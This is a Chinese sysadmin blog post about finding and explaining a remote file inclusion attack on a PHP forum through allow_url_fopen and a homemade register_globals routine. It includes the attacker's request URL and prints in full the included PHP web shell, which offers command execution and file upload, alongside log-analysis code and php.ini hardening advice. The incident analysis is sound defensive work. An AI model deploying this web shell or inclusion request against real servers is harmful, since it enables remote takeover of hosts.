allow_url_fopen
https://blog.teatime.com.tw
最近老是在我的 /tmp 裡頭, 發現有個多出來的 /tmp/cmdtemp 檔案. 也在 apache 的 ERROR_log 中發現一些訊息如下:
sh: -c: line 1: syntax error near unexpected token `;' sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M' rm: cannot remove `\r': No such file or directory sh: line 1: /tmp/cmdtemp: permission denied rm: cannot remove `\r': No such file or directory sh: line 1: /tmp/cmdtemp: Permission denied sh: -c: line 1: syntax error near unexpected token `;' sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M' cat: write error: broken pipe rm: cannot remove `\r': No such file or directory sh: line 1: /tmp/cmdtemp: Permission denied
雖然我的 /tmp 是獨立的, 且被 mount 為 noexec, 所以上頭的指令都無法正確的執行. 不過... 為什麼會讓人家有辦法把檔案寫入 /tmp/ 內呢?
到 Google 找了一下, 發現在 PHP Bugs 的這篇文章, 裡頭提到了, 應該是 allow_url_fopen 打開的時候, 如果有人傳入一個參數為 xxx=http://xxx/xxx 之類的東西, 如果這個 php 的程式, 沒有檢查這個變數, 或是 register_globals 是開啟的情形下, 也許會造成這個 php 使用 include() 去把遠端那個 URL 的檔案給引入執行.... 也就是執行到了別人寫的程式, 這時... 自然別人想在那裡頭做什麼, 就能夠做什麼了.
所以, 我想我的機器上頭, 一定有那個使用者放的 php 程式, 會造成這個問題. 原本以為下頭的指令可以簡單的抓出
grep =http: access.log
可是... 由於我有把 referer 也記錄到 log 裡頭, 所以... 會找到一堆在 referer 中有 =http: 的資料. 所以我寫了下頭的這個 script 來處理:
#!/usr/bin/php -Cq <?php $fp = fopen("php://stdin", "rt"); if ($fp == 0) exit; while (!feof($fp)) { $buf = fgets($fp, 4096); $pos = strpos($buf, ' HTTP/'); if ($pos === false) continue; echo substr($buf, 0, $pos)."\n"; } fclose($fp); exit; ?>
在 HTTP/ 這個字串之前的都是我要的. 然後執行
grep HTTP *.1 | ./t.php | grep =http
就可以找出來了. 發現是某個使用者放上來的討論區, 有人使用了下列的方式存取:
forgot_password.php?inc_dir=http://www.geocities.com/goblockz/hajar.txt?
發現會設一下 inc_dir 的 GET 變數. 而在這套系統中, inc_dir 就是這個系統用來 include 檔案時, 會加上的路徑. 原本 $inc_dir = 'include/', 所以裡頭用了一堆 include $inc_dir.'abc.inc' 之類的語法.
不過... 我的 register_globals 並沒有打開啊... 怎麼會把這個 GET 的變數, 直接就取代了 $inc_dir 呢?
再看一下程式, 果然裡頭有 register_globals.php 其中一段是這樣子寫的:
if (isset($HTTP_GET_VARS)) { reset($HTTP_GET_VARS); while ( list($var, $val) = each($HTTP_GET_VARS) ) { $$var=$val; } }
就直接把 GET 的變數拿來用了... 自然覆蓋了原本的 $inc_dir, 所以在這個動作之後, 如果有做任何:
include $inc_dir."abc.php"
之類的動作, 就變成:
include http://www.geocities.com/goblockz/hajar.txt?abc.php
接著就跑到了上頭那個 hajar.txt 的內容了. 而這個檔案的內容如下:
<title>caRefuLL d4Ve-cOoL was HeRe..!!|| pOweRed fRoM #kLiNik@DALnet </title> <p align = left><p><marquee bgcolor="#000000" style="border-top:5px dotted #3333ff; border-bottom:5px dotted #3333ff; font-family: Times New Roman; font-size: 24pt; font-weight: bold" behavior="alternate">#kLiNik@DALnet </marquee></p> <body text="#ff0000" bgcolor="#000000" onLoad="showTheTime()"> <script language="javaScript"> <p align="center"><font face="verdana" size="5" color="red"><b>inject generated By d4Ve</u></b></font></p> <p align="center"><img src="http://www.geocities.com/goblockz/logo.jpg" width="168" height="154"><font face="Verdana" size="5"></p> <p align="center"><font color="red">*</font><font color="blue"> <b>T</b>hANk<b>`</b>s <b>gOd</b></font><font color="red"> *</font></center></p> <p align="center"><font color="red"></b>sUppORted </b>by </b>: </b>#kLiNik`cReW@</b>DALnet</center></font></font></p> <br> <hr> <p align="left"> <?php closelog( ); $user = get_current_user( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $ver = phpversion( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); if(!$whoami)$whoami=exec("whoami"); ?> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"> <?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b><span style="font-size: 9pt"><?= $info ?> <span style="font-size: 9pt">:</b> <?= $value ?></span></DIV></TD> </TR> <?php } ?> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</span></DIV></TD> </TR> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">Current Path:</b> <?= $chdir ?></span></DIV></TD> </TR> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?> </span></DIV></TD> </TR> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?> </span></DIV></TD> </TR> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">Server Address:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?> </span></DIV></TD> </TR> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">Script Current User:</b> <?= $user ?></span></DIV></TD> </TR> <TR> <TD align="left"><DIV STYLE="font-family: verdana; font-size: 10px;"><b> <span style="font-size: 9pt">PHP Version:</b> <?= $ver ?></span></DIV></TD> </TR> </TABLE> </b> </p></font></p> <?php set_magic_quotes_runtime(0); $currentWD = str_replace("\\\\","\\",$_POST['_cwd']); $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']); $UName = `uname -a`; $SCWD = `pwd`; $UserID = `id`; if( $currentWD == "" ) { $currentWD = $SCWD; } if( $_POST['_act'] == "List files!" ) { $currentCMD = "ls -la"; } print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>"; print "<tr><td><b>kOeMeN eksEkUt:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>"; print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>"; print "<tr><td><b>ChANge diRectORy:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>"; print "<td><input type=submit name=_act value=\"List files!\"></td></tr>"; print "<tr><td><b>UpLOad fiLe:</b></td><td><input size=85 type=file name=_upl></td>"; print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>"; print "</table></form><hr><hr>"; $currentCMD = str_replace("\\\"","\"",$currentCMD); $currentCMD = str_replace("\\\'","\'",$currentCMD); if( $_POST['_act'] == "Upload!" ) { if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) { print "<center><b>Error while uploading file!</b></center>"; } else { print "<center><pre>"; system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1"); print "</pre><b>File uploaded berHasiL cOy!</b></center>"; } } else { print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n"; $currentCMD = "cd ".$currentWD.";".$currentCMD; system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>peRiNtaH sUkses</b></center>"; } exit; ?></body></font></font></b></font> <embed src="http://critical-solution.com/midi/NovemberRain.mid" width="1" height="1" type="audio/midi"></html>
裡頭可以讓你上傳檔案, 也可以讓你執行指令.... 如果我的 /tmp 裡頭是可以執行的話, 可能就會放上一堆程式來跑了.
所以... 如果你沒有用到 URL file-access 的功能的話, 請在 php.ini 中:
; Whether to allow the treatment of URLs (like http:// or ftp://) as files. allow_url_fopen = Off
把 allow_url_fopen 設成 Off.
不然的話, 請確定你所有的網站上頭的 php 程式, 都不會有我上頭這類的情形發生.
PS. 在 php 4.3 之前, allow_url_fopen 似乎不會讓 include(), require() 之類的函式, 可以讀取遠端的程式碼進來, 不過, 在 4.3 之後, 就可以讓這類的函式有了遠端讀取的能力. 而且... 沒有辦法限制. 要不就整個打開, 要不就整個關閉. 一點彈性都沒有... 更糟的是... 這個選項預設好像是打開的... 似乎有點不太安全吧. 在 php 的官方網站上頭, 看到 php 6 有另一個 allow_url_include 的選項, 應該就是為了解決這個問題, 讓我們可以在一般的情形下使用 fopen 去打開遠端的檔案, 而不會用在 include() 上頭吧. 所以... 在 php 6 出來前... 大家還是把這功能關閉為妙吧.
相关阅读
什么是WebShell ? WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑
php中file_get_contents与curl性能比较分析
本文实例讲述了php中file_get_contents与curl性能比较分析。分享给大家供大家参考。具体如下:在php中如果不仔细的去分析性能会发
解决PHP "headers already sent"错误
发送或者修改 HTTP 头信息的方法必须在任何输出被输出之前被调用。否则调用将会出错:Warning: Cannot modify header informatio
简介:总结在Windows环境搭建PHP开发环境(Apache+PHP+MySQL) 安装Apache 1、下载Apache,地址:http://www.apachelounge.com/download/,
前言当前笔记中的内容针对的是 thinkphp-queue 的 v1.1.2 版本,现在官方已经更新到了 v1.1.3 版本, 下文中提到的几个Bug在最新的ma